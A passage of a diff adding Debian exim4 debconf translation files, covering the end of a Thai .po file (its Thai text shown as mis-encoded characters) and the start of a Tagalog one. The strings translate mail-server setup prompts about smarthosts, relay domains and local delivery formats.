+"จะได้จาà¸à¸à¸²à¸£à¸£à¸§à¸¡à¹à¸Ÿà¹‰à¸¡à¹€à¸¥à¹‡à¸à¹† ประมาณ 50 à¹à¸Ÿà¹‰à¸¡à¹ƒà¸™ /etc/exim4/conf.d/"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"ค่าตั้งà¹à¸šà¸šà¹„ม่à¹à¸¢à¸à¸ªà¹ˆà¸§à¸™ เหมาะà¸à¸±à¸šà¸à¸²à¸£à¹à¸à¹‰à¹„ขปริมาณมาภà¹à¸¥à¸°à¸¡à¸±à¸à¸ˆà¸°à¸„งที่à¸à¸§à¹ˆà¸² "
+"ในขณะที่ค่าตั้งà¹à¸šà¸šà¹à¸¢à¸à¸ªà¹ˆà¸§à¸™à¸ˆà¸°à¹ƒà¸«à¹‰à¸„วามสะดวà¸à¹ƒà¸™à¸à¸²à¸£à¹à¸à¹‰à¹„ขเล็à¸à¹† น้อยๆ à¹à¸•à¹ˆà¸à¹‡à¹€à¸›à¸£à¸²à¸°à¸šà¸²à¸‡à¸à¸§à¹ˆà¸² "
+"à¹à¸¥à¸°à¸­à¸²à¸ˆà¸žà¸±à¸‡à¹„ด้ถ้ามีà¸à¸²à¸£à¹à¸à¹‰à¹„ขà¹à¸šà¸šà¹„ม่ระวัง"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"มีà¸à¸²à¸£à¸­à¸ à¸´à¸›à¸£à¸²à¸¢à¸­à¸¢à¹ˆà¸²à¸‡à¸¥à¸°à¹€à¸­à¸µà¸¢à¸”เà¸à¸µà¹ˆà¸¢à¸§à¸à¸±à¸šà¸à¸²à¸£à¹ƒà¸Šà¹‰à¸„่าตั้งà¹à¸šà¸šà¹à¸¢à¸à¸ªà¹ˆà¸§à¸™à¹à¸¥à¸°à¹„ม่à¹à¸¢à¸à¸ªà¹ˆà¸§à¸™à¹ƒà¸™à¹à¸Ÿà¹‰à¸¡ README สำหรับ "
+"Debian โดยเฉพาะใน /usr/share/doc/exim4-base"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "จะซ่อนชื่อเมลในเมลขาออà¸à¸«à¸£à¸·à¸­à¹„ม่?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"ข้อมูลส่วนหัวของเมลขาออภสามารถเรียบเรียงใหม่ เพื่อให้ดูเหมือนถูà¸à¸ªà¹ˆà¸‡à¸­à¸­à¸à¸ˆà¸²à¸à¸£à¸°à¸šà¸šà¸­à¸·à¹ˆà¸™à¹„ด้ "
+"ถ้าเลือà¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸­à¸à¸™à¸µà¹‰ ค่า '${mailname}', 'localhost' à¹à¸¥à¸° '${dc_other_hostnames}' "
+"ในข้อมูลส่วน From, Reply-To, Sender à¹à¸¥à¸° Return-Path จะถูà¸à¹€à¸£à¸µà¸¢à¸šà¹€à¸£à¸µà¸¢à¸‡à¹ƒà¸«à¸¡à¹ˆ"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "รูปà¹à¸šà¸š mbox ใน /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "รูปà¹à¸šà¸š Maildir ในไดเรà¸à¸—อรีบ้าน"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "วิธีà¸à¸²à¸£à¹à¸¢à¸à¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸„รื่อง:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"exim สามารถเà¸à¹‡à¸šà¹€à¸¡à¸¥à¸—ี่à¹à¸¢à¸à¸ªà¹ˆà¸‡à¹ƒà¸™à¹€à¸„รื่องได้ในหลายรูปà¹à¸šà¸š à¹à¸šà¸šà¸—ี่ใช้à¸à¸±à¸™à¸¡à¸²à¸à¸—ี่สุดคือ mbox à¹à¸¥à¸° "
+"Maildir à¹à¸šà¸š mbox จะใช้à¹à¸Ÿà¹‰à¸¡à¹€à¸”ียวเà¸à¹‡à¸šà¹€à¸¡à¸¥à¸—ุà¸à¸‰à¸šà¸±à¸š โดยเà¸à¹‡à¸šà¹„ว้ที่ /var/mail/ ส่วนà¹à¸šà¸š Maildir "
+"จะเà¸à¹‡à¸šà¹€à¸¡à¸¥à¹à¸•à¹ˆà¸¥à¸°à¸‰à¸šà¸±à¸šà¹à¸¢à¸à¹à¸Ÿà¹‰à¸¡à¸à¸±à¸™ โดยเà¸à¹‡à¸šà¹„ว้ที่ ~/Maildir/"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"สังเà¸à¸•à¸§à¹ˆà¸² เครื่องมือจัดà¸à¸²à¸£à¹€à¸¡à¸¥à¸ªà¹ˆà¸§à¸™à¹ƒà¸«à¸à¹ˆà¹ƒà¸™à¹€à¸”เบียน จะถือว่าà¸à¸²à¸£à¹à¸¢à¸à¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸„รื่องเป็นà¹à¸šà¸š mbox "
+"เป็นค่าปà¸à¸•à¸´"
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "จะย้ายเมลà¸à¸²à¸à¸ªà¹ˆà¸‡à¸—ี่ตà¸à¸„้างจาภexim 3 ไปยัง spool ของ exim4 หรือไม่?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "มีเมลตà¸à¸„้างอยู่ในไดเรà¸à¸—อรี spool ของ exim 3 (หรือ exim-tls 3) คือที่ /var/spool/"
+#~ "exim/input/"
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "à¸à¸²à¸£à¹€à¸¥à¸·à¸­à¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸­à¸à¸™à¸µà¹‰ จะย้ายเมลเหล่านี้ไปที่ spool ของ exim4 (/var/spool/exim4/input/) "
+#~ "เพื่อจะได้ให้ exim4 จัดà¸à¸²à¸£à¹ƒà¸«à¹‰"
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "à¸à¸²à¸£à¸à¸£à¸°à¸—ำนี้มีผลทางเดียว à¸à¸¥à¹ˆà¸²à¸§à¸„ือ Exim4 สามารถทำงานà¸à¸±à¸š spool ของ exim 3 ได้ "
+#~ "à¹à¸•à¹ˆà¹ƒà¸™à¸—างà¸à¸¥à¸±à¸šà¸à¸±à¸™à¸—ำไม่ได้ ถ้าคุณไม่เลือà¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸­à¸à¸™à¸µà¹‰ คุณจะต้องย้ายเมลดังà¸à¸¥à¹ˆà¸²à¸§à¹€à¸­à¸‡ มิฉะนั้น "
+#~ "จะไม่มีà¸à¸²à¸£à¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹€à¸«à¸¥à¹ˆà¸²à¸™à¸±à¹‰à¸™"
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "ถ้าปล่อยว่างไว้ Exim จะไม่รับ-ส่งเมลภายใน"
+
+#~ msgid ""
+#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-"
+#~ "versa."
+#~ msgstr ""
+#~ "à¸à¸²à¸£à¸à¸£à¸°à¸—ำนี้มีผลทางเดียว à¸à¸¥à¹ˆà¸²à¸§à¸„ือ exim4 สามารถทำงานà¸à¸±à¸š spool ของ exim(v3) ได้ "
+#~ "à¹à¸•à¹ˆà¹ƒà¸™à¸—างà¸à¸¥à¸±à¸šà¸à¸±à¸™à¸—ำไม่ได้"
+
+#~ msgid ""
+#~ "So it is only advisable to move the messages only if it is not planned to "
+#~ "go back to Exim(v3). If a rollback might be necessary, it is a better "
+#~ "idea to refrain from moving the messages now but moving them manually at "
+#~ "a later time."
+#~ msgstr ""
+#~ "จึงขอà¹à¸™à¸°à¸™à¸³à¸§à¹ˆà¸² ควรย้ายเมลเหล่านี้à¸à¹‡à¸•à¹ˆà¸­à¹€à¸¡à¸·à¹ˆà¸­à¸„ุณไม่มีà¹à¸œà¸™à¸—ี่จะà¸à¸¥à¸±à¸šà¹„ปใช้ Exim(v3) อีà¸à¹€à¸—่านั้น "
+#~ "ถ้าคุณยังคิดว่าจำเป็นต้องย้อนà¸à¸¥à¸±à¸šà¹„ปสู่ระบบเà¸à¹ˆà¸²à¸­à¸¢à¸¹à¹ˆ à¸à¹‡à¸„วรงดย้ายเมลในตอนนี้ "
+#~ "à¹à¸¥à¹‰à¸§à¹„ปย้ายเองในภายหลัง"
+
+#~ msgid ""
+#~ "Domains listed here need to be separated by semicolons. Wildcards may be "
+#~ "used."
+#~ msgstr "โดเมนที่ป้อนที่นี่ ควรคั่นด้วยอัฒภาค (semicolon) à¹à¸¥à¸°à¸ªà¸²à¸¡à¸²à¸£à¸–ใช้ wildcard ได้"
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "คุณควรย้ายเมลเหล่านี้à¸à¹‡à¸•à¹ˆà¸­à¹€à¸¡à¸·à¹ˆà¸­à¸„ุณไม่มีà¹à¸œà¸™à¸—ี่จะà¸à¸¥à¸±à¸šà¹„ปใช้ exim(v3) อีภมิฉะนั้น "
+#~ "à¸à¹‡à¹„ม่ควรย้ายเมลดังà¸à¸¥à¹ˆà¸²à¸§à¹ƒà¸™à¸•à¸­à¸™à¸™à¸µà¹‰ à¹à¸•à¹ˆà¸„วรไปย้ายเองหลังจาà¸à¸—ี่ได้à¹à¸›à¸¥à¸‡à¸„่าตั้งเรียบร้อยà¹à¸¥à¹‰à¸§"
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr "ถ้ามีโดเมนอื่นอีภà¸à¸£à¸¸à¸“าป้อนที่นี่ โดยคั่นด้วยทวิภาค (colon) หรือปล่อยว่างไว้ถ้าไม่มี"
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "à¸à¸£à¸¸à¸“าป้อนโดเมนที่คุณจะยอมส่งทอดเมลให้"
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "โดเมนดังà¸à¸¥à¹ˆà¸²à¸§ เป็นโดเมนที่คุณที่คุณได้เตรียมพร้อมที่จะรับเมลจาà¸à¸­à¸´à¸™à¹€à¸—อร์เน็ต "
+#~ "ไม่ต้องรวมโดเมนของเครื่องคุณเองในนี้"
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "เนื่องจาà¸à¸„ุณได้เปิดใช้à¸à¸²à¸£à¸‹à¹ˆà¸­à¸™à¸Šà¸·à¹ˆà¸­à¹€à¸¡à¸¥à¸—้องถิ่นในเมลขาออภ"
+#~ "คุณจึงต้องระบุชื่อโดเมนที่จะใช้สำหรับเมลจาà¸à¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸—้องถิ่น โดยปà¸à¸•à¸´à¹à¸¥à¹‰à¸§ จะใช้ชื่อเครื่องที่คุณใช้รับเมล"
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "ผู้ใช้ของคุณจะอ่านเมลที่ไหน?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "เครื่องที่จะจัดà¸à¸²à¸£à¹€à¸¡à¸¥à¸‚าออà¸à¹ƒà¸«à¹‰à¸à¸±à¸šà¹€à¸„รื่องนี้ (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "ป้อนชื่อโฮสต์ของเครื่องที่จะใช้ส่งเมลขาออà¸"
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr "คุณควรเปิดใช้ความสามารถนี้ถ้าคุณà¸à¸³à¸¥à¸±à¸‡à¹ƒà¸Šà¹‰ Dial-on-Demand มิฉะนั้นà¸à¹‡à¸„วรปิด"
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "เลือà¸à¸Šà¸™à¸´à¸”ค่าตั้งที่ตรงà¸à¸±à¸šà¸„วามต้องà¸à¸²à¸£à¸‚องคุณ"
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "ถ้าคุณไม่มั่นใจ คุณà¸à¹‡à¹„ม่ควรใช้à¸à¸²à¸£à¹à¸¢à¸à¸„่าตั้ง"
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "à¹à¸›à¸¥à¸‡à¸„่าตั้ง Exim v3 ที่เขียนเองด้วยตัวเอง"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "จะตั้งค่า Exim4 ด้วยตัวเองหรือไม่?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "คุณระบุว่าคุณมีค่าตั้ง Exim3 ที่เขียนเอง ถ้าจะà¹à¸›à¸¥à¸‡à¸„่าตั้งดังà¸à¸¥à¹ˆà¸²à¸§à¸¡à¸²à¸¢à¸±à¸‡ Exim 4 "
+#~ "คุณสามารถใช้คำสั่ง exim_convert4r4(8) หลังà¸à¸²à¸£à¸•à¸´à¸”ตั้งนี้ได้ à¸à¸£à¸¸à¸“าอ่าน /usr/share/doc/"
+#~ "exim4-base/examples/example.conf.gz à¹à¸¥à¸° /usr/share/doc/exim4-base/README."
+#~ "Debian.gz ประà¸à¸­à¸š"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr "จนà¸à¸§à¹ˆà¸²à¸„ุณจะตั้งค่าระบบเมลเรียบร้อย ระบบเมลของคุณจะไม่ทำงาน à¹à¸¥à¸°à¸£à¸±à¸šà¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹„ม่ได้"
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "\"ชื่อเมล\" ของคุณ คือส่วนชื่อโฮสต์ของที่อยู่ที่จะà¹à¸ªà¸”งในเมลà¹à¸¥à¸°à¸‚่าวที่ส่งออà¸à¹„ป "
+#~ "(ตามหลังชื่อผู้ใช้à¹à¸¥à¸°à¹€à¸„รื่องหมาย @) ถ้าไม่ถูà¸à¸‹à¹ˆà¸­à¸™à¸«à¸£à¸·à¸­à¸–ูà¸à¹€à¸£à¸µà¸¢à¸šà¹€à¸£à¸µà¸¢à¸‡à¹ƒà¸«à¸¡à¹ˆ"
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr "à¸à¸£à¸¸à¸“าป้อนเครือข่ายของเครื่องท้องถิ่นที่คุณจะส่งทอดเมลให้"
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr "รายà¸à¸²à¸£à¸™à¸µà¹‰ ควรรวมทุà¸à¹€à¸„รื่องที่จะใช้เราเป็น smarthost"
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "คุณต้องใช้ทวิภาคซ้อน (double colon) à¸à¸±à¸šà¸—ี่อยู่ IPv6 (เช่น 5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "ป้อนรายà¸à¸²à¸£à¸—ี่อยู่ IP ที่จะรอรับà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸­à¸¡à¸•à¹ˆà¸­ โดยคั่นด้วยทวิภาค (colon) คุณต้องใช้ทวิภาคซ้อน "
+#~ "(double colon) à¸à¸±à¸šà¸—ี่อยู่ IPv6 (เช่น 5f03::1200::836f::::)"
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "à¸à¸³à¸¥à¸±à¸‡à¸•à¸±à¹‰à¸‡à¸„่า Exim v4 (exim4-config)"
diff --git a/debian/po/tl.po b/debian/po/tl.po
new file mode 100644
index 0000000..974241f
--- /dev/null
+++ b/debian/po/tl.po
@@ -0,0 +1,772 @@
+# Tagalog messages for exim
+# Copyright (C) 2005 Software in the Public Interest, Inc.
+# This file is distributed under the same license as exim.
+# Itong tipunan ay ipinamamahagi sa parehong lisensya ng exim.
+# Eric Pareja <xenos@upm.edu.ph>, 2005
+#
+# This file is maintained by Eric Pareja <xenos@upm.edu.ph>
+# Itong tipunan ay inaalagaan ni Eric Pareja <xenos@upm.edu.ph>
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2005-01-20 00:35+0800\n"
+"Last-Translator: Eric Pareja <xenos@upm.edu.ph>\n"
+"Language-Team: Tagalog <debian-tl@banwa.upm.edu.ph>\n"
+"Language: tl\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Tanggalin ang hindi naihatid na mga koreo sa spool directory?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"May mga koreo sa exim spool directory /var/spool/exim4/input na hindi pa "
+"naihahatid. Maaari niyong panatilihin ang mga ito kung sakaling magpasiya "
+"kayong mag-install ng Exim muli sa hinaharap, o maaari niyong piliin na "
+"sila'y tanggalin."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"internet site; hinahatid at tinatanggap ang koreo direkta gamit ang SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "koreo pinapadala sa smarthost; tinatanggap via SMTP o fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "koreo pinapadala sa smarthost; walang lokal na koreo"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "lokal na paghatid lamang; hindi nakakabit sa network"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "walang pagsasaayos sa ngayon"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Pangkalahatang pagsasaayos ng koreo:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Piliin ang uri ng pagsasaayos na akma sa inyong pangangailangan."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Mga sistema na may dinamikong IP address, kasama dito ang mga sistemang "
+"dialup, ay madalas na isinasaayos upang magpadala ng palabas na koreo sa "
+"ibang makina, tinatawagang \"smart host\" para sa pagpapadala. Maaari niyong "
+"piliin na tumanggap ng koreo sa ganitong uri ng sistema; o na walang lokal "
+"na paghatid ng koreo, maliban sa koreo para sa root at postmaster."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Talagang iwanan ang sistemang pang-koreo na hindi nakaayos?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Hanggang maisaayos ang inyong sistemang pang-koreo, ito ay magiging sira at "
+"hindi maaaring gamitin. Siyempre, maaari ninyo itong isaayos mamaya, ng mano-"
+"mano o sa pamamagitan ng pagpapatakbo ng \"dpkg-reconfigure exim4-config\" "
+"bilang root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Pangalan ng sistema pang-koreo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Ang pangalan na ito ay gagamitin din ng ibang mga programa; ito dapat ay "
+"iisang buong pangalan ng domain (Fully Qualified Domain Name o FQDN) na "
+"makikita kung saan nagmula ang mga koreo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ang pangalan na ito ay hindi makikita sa mga linyang From: sa mga koreong "
+"palabas kung inyong iaktibo ang pagsusulat-muli."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Ibang mga patutunguhan na kung saan ang koreo ay tatanggapin:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Ibigay ang mga pangalan ng domain na dapat ituring ng makina na ito na "
+"kahulihang destinasyon, bukod sa lokal na pangalan (${fqdn}) at \"localhost"
+"\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Ang default na pagproseso ng lahat ng mga domain ay pareho; kung nais niyong "
+"magkaiba ang pagproseso ng magkaibang mga pangalan ng domain, dapat ninyong "
+"baguhin ang mga tipunang pagsasaayos matapos nito."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Mga domain na ihahatid natin ang koreo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Mga makina na papayagang mag-relay:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Kung mayroon, ibigay sila dito, nakahiwalay ng mga tutuldok. Dapat niyong "
+"gamitin ang anyong batayan na address/sakop (hal. 194.222.242.0/24)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nababasang domain name para sa mga lokal na gumagamit:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
